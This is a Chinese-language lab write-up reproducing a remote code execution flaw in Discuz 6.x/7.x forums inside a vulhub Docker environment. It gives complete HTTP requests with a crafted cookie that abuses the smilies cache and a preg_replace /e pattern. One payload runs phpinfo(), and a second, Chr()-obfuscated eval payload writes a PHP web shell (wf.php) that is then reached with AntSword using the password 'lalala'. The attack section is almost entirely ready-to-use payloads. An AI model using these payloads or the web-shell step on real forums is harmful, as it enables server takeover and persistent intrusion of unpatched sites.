Discuz:一款流行的论坛程序
使用环境:vulhub中的环境
复现版本:无
靶机环境:2008_r2_standard_zh-chs
切换到对应目录下
docker-compose up -d
启动后,访问http://172.16.35.128:8080/install/来安装discuz,数据库地址填写db,数据库名为discuz,数据库账号密码均为root
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Discuz 7.x 6.x
攻击环境:kali_x64_en-us
安装成功后,直接找一个已存在的帖子,向其发送数据包,将Cookie中的数据改为
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo()
请求如下
GET /viewthread.php?tid=13&extra=page%3D1 HTTP/1.1
Host: 172.16.35.128:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.35.128:8080/forumdisplay.php?fid=2&page=1
Connection: close
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo()
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
想getshell可将Cookie中的内容变为
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(119).Chr(102).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(108).Chr(97).Chr(108).Chr(97).Chr(108).Chr(97).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))
发送的请求如下
GET /viewthread.php?tid=13&extra=page%3D1 HTTP/1.1
Host: 172.16.35.128:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.35.128:8080/forumdisplay.php?fid=2&page=1
Connection: close
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(119).Chr(102).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(108).Chr(97).Chr(108).Chr(97).Chr(108).Chr(97).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
然后可使用蚁剑连接,地址http://172.16.35.128:8080/wf.php 密码lalala
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